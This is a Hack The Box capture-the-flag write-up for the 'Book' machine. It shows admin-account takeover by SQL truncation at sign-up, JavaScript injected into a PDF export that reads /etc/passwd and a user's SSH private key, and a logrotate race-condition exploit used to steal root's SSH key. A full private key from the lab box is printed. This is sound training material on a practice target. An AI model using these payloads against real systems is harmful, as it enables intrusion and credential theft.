Details

This machine is Book from Hack The Box

Recon

kali@kali:~$ nmap -sV -p- -T4 10.10.10.176
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-24 18:26 GMT
Nmap scan report for 10.10.10.176
Host is up (0.024s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.63 seconds

User

I started at http://10.10.10.176/

Screenshot 1

And clicked sign up

Screenshot 2

I tried to sign up with the following details

test
[email protected]
password

Screenshot 3

So I may be able to enum usernames, for now I signed up with different details of

notreal
[email protected]
password

And signed in

Screenshot 4

http://10.10.10.176/books.php

Screenshot 5

The links went to urls such as http://10.10.10.176/download.php?file=1, which offered a pdf for download. I ended up moving onto http://10.10.10.176/collections.php

Screenshot 6

So I may be able to upload some files. I carried on digging around http://10.10.10.176/contact.php

Screenshot 7

This gave me the admin email, a potential XSS vector, and the domain of book.htb which I added to hosts. At this point I ran a dirbust

Screenshot 8

From here I messed around a load with the pdf upload, found they end up in /doc, and a load of other stuff that turned out to not be helpful yet. Instead, I went back to the sign up page and found the following Javascript

  if (document.location.search.match(/type=embed/gi)) {
    window.parent.postMessage("resize", "*");
  }
function validateForm() {
  var x = document.forms["myForm"]["name"].value;
  var y = document.forms["myForm"]["email"].value;
  if (x == "") {
    alert("Please fill name field. Should not be more than 10 characters");
    return false;
  }
  if (y == "") {
    alert("Please fill email field. Should not be more than 20 characters");
    return false;
  }
}

So i made an account with a 15 character username an 25 character email

abcdefghijklmno
[email protected]
password

When I tried to login with the details it didn’t work. But logging in with

abcdefghijklmno@pqrs

Did, it seemed to have trimmed my username and email

Screenshot 19

So I had a new plan, I would sign up an account using the admin email address, with a load of spaces and one character after it, the idea being it will be trimmed down to remove the character, overwriting the admin account with one I control. The creds I used were

test
[email protected]         a
password

Which I then logged in with as

[email protected] : password

Screenshot 20

I then viewed the admin panel at http://10.10.10.176/admin/home.php

Screenshot 21

And an export function at http://10.10.10.176/admin/collections.php

Screenshot 22

I exported the collections which gave a pdf

Screenshot 23

Importantly the pdf used what looked to be html. So I submitted a new book, with a html injection as its file name. The uploaded file was a random file as it wasn’t relevant

Screenshot 24

I then exported the collections again

Screenshot 25

The injection had worked, so this time I tried including Javascript, the name was

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>

And on export

Screenshot 26

So I tried again, this time to steal the ssh key for the reader user

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>

Screenshot 27

I then used this on ssh

kali@kali:~$ ssh [email protected] -i /tmp/private.key
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Feb 24 22:51:29 UTC 2020

  System load:  0.3                Processes:            148
  Usage of /:   26.5% of 19.56GB   Users logged in:      1
  Memory usage: 29%                IP address for ens33: 10.10.10.176
  Swap usage:   0%

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

114 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Feb 24 22:50:06 2020 from 10.10.14.39

And grabbed the user flag

reader@book:~$ ls -la
total 80
drwxr-xr-x 7 reader reader  4096 Jan 29 13:05 .
drwxr-xr-x 3 root   root    4096 Nov 19 10:25 ..
drwxr-xr-x 2 reader reader  4096 Jan 29 13:05 backups
lrwxrwxrwx 1 reader reader     9 Nov 29 17:43 .bash_history -> /dev/null
-rw-r--r-- 1 reader reader   220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 reader reader  3771 Apr  4  2018 .bashrc
drwx------ 2 reader reader  4096 Nov 19 10:25 .cache
drwx------ 3 reader reader  4096 Nov 19 10:25 .gnupg
drwxrwxr-x 3 reader reader  4096 Nov 20 03:57 .local
-rw-r--r-- 1 reader reader   807 Apr  4  2018 .profile
drwx------ 2 reader reader  4096 Nov 28 03:46 .ssh
-r-------- 1 reader reader    33 Nov 29 11:56 user.txt

reader@book:~$ cat user.txt
[REDACTED]

Root

The backups folder looked interesting

reader@book:~/backups$ ll
total 12
drwxr-xr-x 2 reader reader 4096 Jan 29 13:05 ./
drwxr-xr-x 7 reader reader 4096 Feb 24 23:04 ../
-rw-r--r-- 1 reader reader    0 Jan 29 13:05 access.log
-rw-r--r-- 1 reader reader   91 Jan 29 13:05 access.log.1

Nothing interesting yet, but I did find log rotate was running as root using pspy

2020/02/24 23:36:13 CMD: UID=0    PID=11709  | /usr/sbin/logrotate -f /root/log.cfg

So I checked the version

reader@book:/tmp$ /usr/sbin/logrotate
logrotate 3.11.0 - Copyright (C) 1995-2001 Red Hat, Inc.
This may be freely redistributed under the terms of the GNU Public License

Usage: logrotate [-dfv?] [-d|--debug] [-f|--force] [-m|--mail=command] [-s|--state=statefile] [-v|--verbose]
        [-l|--log=STRING] [--version] [-?|--help] [--usage] [OPTION...] <configfile>

And checked the details

reader@book:/var/lib/logrotate$ cat status
logrotate state -- version 2
[SNIP]
"/home/reader/backups/access.log" 2020-1-29-13:5:29
[SNIP]

I believed the logrotate would be vulnerable to https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges. So I set it up onto the box and tested it, setting an initial payload of

touch /tmp/root

So I ran

reader@book:/tmp$ ./exp /home/reader/backups/access.log ./payloadfile /etc/bash_completion.d

And then

reader@book:~/backups$ echo test > access.log

When I checked tmp

reader@book:/tmp$ ll
[SNIP]
-rw-r--r--  1 root   root         0 Feb 25 09:47 root
[SNIP]

It was working, so I changed the payload to exfil the root ssh key

cp /root/.ssh/id_rsa /tmp/id_rsa

reader@book:/tmp$ ./exp2 /home/reader/backups/access.log ./payloadfile /etc/bash_completion.d

reader@book:~/backups$ echo test >access.log

reader@book:/tmp$ ll
[SNIP]
-rw-------  1 root   root      1679 Feb 25 09:51 id_rsa
[SNIP]

Each payload attempt took a few tries, but that was expected as it uses a race condition. Annoyingly I had to do one more cycle as the root ssh key copied was only readable by root

So a new payload

chmod 777 /tmp/id_rsa

And after a few rounds

reader@book:/tmp$ ./exp2 /home/reader/backups/access.log ./payloadfile /etc/bash_completion.d
[SNIP]
-rwxrwxrwx  1 root   root      1679 Feb 25 09:53 id_rsa*
[SNIP]

reader@book:/tmp$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAsxp94IilXDxbAhMRD2PsQQ46mGrvgSPUh26lCETrWcIdNU6J
cFzQxCMM/E8UwLdD0fzUJtDgo4SUuwUmkPc6FXuLrZ+xqJaKoeu7/3WgjNBnRc7E
z6kgpwnf4GOqpvxx1R1W+atbMkkWn6Ne89ogCUarJFVMEszzuC+14Id83wWSc8uV
ZfwOR1y/Xqdu82HwoAMD3QG/gu6jER8V7zsC0ByAyTLT7VujBAP9USfqOeqza2UN
GWUqIckZ2ITbChBuTeahfH2Oni7Z3q2wXzn/0yubA8BpyzVut4Xy6ZgjpH6tlwQG
BEbULdw9d/E0ZFHN4MoNWuKtybx4iVMTBcZcyQIDAQABAoIBAQCgBcxwIEb2qSp7
KQP2J0ZAPfFWmzzQum26b75eLA3HzasBJOGhlhwlElgY2qNlKJkc9nOrFrePAfdN
PeXeYjXwWclL4MIAKjlFQPVg4v0Gs3GCKqMoEymMdUMlHoer2SPv0N4UBuldfXYM
PhCpebtj7lMdDGUC60Ha0C4FpaiJLdbpfxHase/uHvp3S/x1oMyLwMOOSOoRZZ2B
Ap+fnQEvGmp7QwfH+cJT8ggncyN+Gc17NwXrqvWhkIGnf7Bh+stJeE/sKsvG83Bi
E5ugJKIIipGpZ6ubhmZZ/Wndl8Qcf80EbUYs4oIICWCMu2401dvPMXRp7PCQmAJB
5FVQhEadAoGBAOQ2/nTQCOb2DaiFXCsZSr7NTJCSD2d3s1L6cZc95LThXLL6sWJq
mljR6pC7g17HTTfoXXM2JN9+kz5zNms/eVvO1Ot9GPYWj6TmgWnJlWpT075U3CMU
MNEzJtWyrUGbbRvm/2C8pvNSbLhmtdAg3pDsFb884OT8b4arufE7bdWHAoGBAMjo
y0+3awaLj7ILGgvukDfpK4sMvYmx4QYK2L1R6pkGX2dxa4fs/uFx45Qk79AGc55R
IV1OjFqDoq/s4jj1sChKF2+8+JUcrJMsk0WIMHNtDprI5ibYy7XfHe7oHnOUxCTS
CPrfj2jYM/VCkLTQzdOeITDDIUGG4QGUML8IbM8vAoGBAM6apuSTzetiCF1vVlDC
VfPEorMjOATgzhyqFJnqc5n5iFWUNXC2t8L/T47142mznsmleKyr8NfQnHbmEPcp
ALJH3mTO3QE0zZhpAfIGiFk5SLG/24d6aPOLjnXai5Wgozemeb5XLAGOtlR+z8x7
ZWLoCIwYDjXf/wt5fh3RQo8TAoGAJ9Da2gWDlFx8MdC5bLvuoOX41ynDNlKmQchM
g9iEIad9qMZ1hQ6WxJ8JdwaK8DMXHrz9W7yBXD7SMwNDIf6u1o04b9CHgyWXneMr
nJAM6hMm3c4KrpAwbu60w/AEeOt2o8VsOiusBB80zNpQS0VGRTYFZeCF6rKMTP/N
WU6WIckCgYBE3k00nlMiBNPBn9ZC6legIgRTb/M+WuG7DVxiRltwMoDMVIoi1oXT
ExVWHvmPJh6qYvA8WfvdPYhunyIstqHEPGn14fSl6xx3+eR3djjO6J7VFgypcQwB
yiu6RurPM+vUkQKb1omS+VqPH+Q7FiO+qeywqxSBotnLvVAiaOywUQ==
-----END RSA PRIVATE KEY-----

I then used this to ssh in as root

kali@kali:~$ ssh [email protected] -i ./root.key
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Feb 25 09:55:27 UTC 2020

  System load:  0.0                Processes:            148
  Usage of /:   26.5% of 19.56GB   Users logged in:      1
  Memory usage: 34%                IP address for ens33: 10.10.10.176
  Swap usage:   0%

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

114 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Feb 25 09:55:02 2020 from ::1
root@book:~#

And grab the flag

root@book:~# ls -la
total 72
drwx------  7 root root 4096 Feb 19 14:46 .
drwxr-xr-x 23 root root 4096 Dec  3 13:07 ..
lrwxrwxrwx  1 root root    9 Nov 29 11:46 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  3 root root 4096 Dec  3 12:59 .cache
-rwxr-xr-x  1 root root  196 Feb 19 14:14 clean_backup.sh
-rwxr-xr-x  1 root root  196 Feb 19 14:14 clean.sh
-rwx------  1 root root   72 Nov 20 11:45 cron_root
drwx------  3 root root 4096 Nov 20 03:47 .gnupg
drwxr-xr-x  3 root root 4096 Nov 19 10:31 .local
-rw-r--r--  1 root root  101 Nov 29 17:43 log.cfg
-rwxr-xr-x  1 root root   47 Dec 22 02:12 log.sh
-rw-------  1 root root  943 Feb 19 14:46 .mysql_history
drwxr-xr-x 85 root root 4096 Nov 19 10:30 .npm
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rwx------  1 root root  409 Dec 22 02:12 reset.sh
-r--------  1 root root   33 Nov 29 11:57 root.txt
-rw-r--r--  1 root root   66 Dec 29 12:24 .selected_editor
drwx------  2 root root 4096 Nov 20 04:15 .ssh

root@book:~# cat root.txt
[REDACTED

HTB: Book

Details

Recon

User

Root

Published by Jack

Leave a Reply Cancel reply